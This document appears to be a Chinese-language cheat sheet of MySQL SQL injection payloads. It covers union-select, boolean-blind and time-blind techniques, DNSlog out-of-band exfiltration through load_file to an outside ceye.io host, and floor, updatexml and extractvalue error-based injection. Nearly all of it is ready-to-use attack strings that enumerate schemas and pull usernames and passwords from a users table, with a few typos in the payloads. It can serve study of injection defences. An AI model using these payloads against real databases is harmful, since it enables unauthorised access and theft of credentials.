基础语句

语句 说明
version() 查询数据库的版本
user() 查询数据库的使用者
database() 数据库
system_user() 系统用户名
session_user() 连接数据库的用户名
current_user() 当前用户名
load_file() 读取本地文件
@@datadir 读取数据库路径
@@basedir mysql安装路径
@@version_complie_os 查看操作系统
CAST( 字段名 as 转换的类型)

Union select注入

假设单引号字符型注入,显示字段为2个

语句 说明
id=-1’ union select user(),database() —+ 用户名和数据名
id=-1’ union select 1,group_concat(schema_name) from information_schema.schemata 数据库名称
id=-1 ‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() —+ 当前数据库表名
id=-1’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ —+ 指定表的字段值
id=-1’ union select group_concat(username),group_concat(password) from users —+ 指定字段下的值

布尔盲注

假设单引号字符型注入

参数 说明
id=1’ and (length(database()))>5 —+ 当前数据库长度
id=1’ and (ascii(substr(database(),1,1)))>114 —+ 当前数据库名称
id=1’ and (select count(*) from information_schema.tables where table_schem=database())>5 —+ 当前数据库表数量
id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5 —+ 当前数据库
第一个表的长度
id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 当前数据库
第一个表的第一个字
id=1’ and (select count(*) from information_schema.columns where table_name=’user’)>5# 指定表的字段数量
id=1’ and (select length(column_name) from information_schema.columns where table_name=’user’ limit 0,1)>5# 指定表
第一个字段的长度
id=1’ and (ascii(substr((seclect column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))>100# 指定表
第一个字段的第一个字
id=1’ and (ascii(substr((select password from users limit 0,1),1,1)))=68# 指定字段的值

时间盲注

假设单引号字符型注入

参数 说明
id=1’ and If(length((version()))=6,sleep(10),1)—+ 当前数据库的版本长度
id=1’ and If(ascii(substr(version(),1,1))=53,sleep(10),1)—+ 数据版本的第一个字符
id=1’ and If(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(10),1)—+ 当前数据库长度
id=1’ and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)—+ 当前数据库第一个字符
id=1’ and If(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5,sleep(10),1)—+ 当前数据库第一个表
第一个字符
id=1’ and If(length((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 1,1))=8,sleep(10),1)—+ 当前数据库users表
第一个字段长度
id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 1,1),1,1))=117,sleep(10),1)—+ 当前数据库users表
第一个字段第一个字符
id=1’ and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1)—+ users表第一行数据

Dnslog盲注

假设单引号字符型注入

参数 说明
id=1’ and if((select load_file(concat(‘\\\\‘,(select database()),’.xxxxx.ceye.io\\abc’))),1,0)—+ 当前数据库名
id=1’ and if((select load_file(concat(‘\\\\‘,(select table_name from information_schema.tables where table_schema=database() limit 1,1),’.xxxxx.ceye.io\\abc’))),1,1) —+ 当前数据库
第一个表名
id=1’ and if((select load_file(concat(‘\\\\‘,(select column_name from information_schema.columns where table_name=’users’ and table_schema=database() limit 1,1),’.xxxxx.ceye.io\\abc’))),1,1) —+ 当前数据库
第一个表的
第一个字段名
id=1’ and if((select load_file(concat(‘\\\\‘,(select username from users limit 1,1),’.h7q6u2.ceye.io\\abc’))),1,1) —+ 当前数据库
users表的数据

floor报错注入

假设单引号字符型注入,显示字段为3个

参数 说明
id=-1’ union select count(),1, concat(‘~’,(select database()),’~’,floor(rand(0)2)) as a from information_schema.tables group by a—+ 当前数据库名
id=-1’ union select 1,count(), concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’~’,floor(rand(0)2)) as a from information_schema.tables group by a —+ 当前数据库
第一个表名
id=-1’ union select 1,count(), concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 1,1),’~’,floor(rand(0)2)) as a from information_schema.tables group by a—+ 当前数据库users表
第一个列名
id=-1’ union select count(),1, concat(‘~’,(select concat(username,’-‘,password) from ‘users’ limit 1,1),’~’,floor(rand(0)2)) as a from information_schema.tables group by a—+ 当前数据库users表
账号和密码字段值

updatexml报错注入

假设有报错信息

参数 说明
id=updatexml(1,concat(‘~’,(select database()),’~’),1)—+ 当前库名
id=updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’),1) —+ 当前库的表名
updatexml(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),’~’),1) —+ 当前库users表字段名
updatexml(1,concat(‘~’,(select concat(username,’-‘,password) from users limit 1,1),’~’),1) —+ users表的数据

extractvalue报错注入

假设有报错信息

参数
extractvalue(1,concat(‘~’,(select database()),’~’)) —+ 当前库名
extractvalue(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’)) —+ 当前库的表名
extractvalue(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),’~’)) —+ 当前库users表字段名
extractvalue(1,concat(‘~’,(select concat(username,’-‘,password) from users limit 1,1),’~’)) —+ users表的数据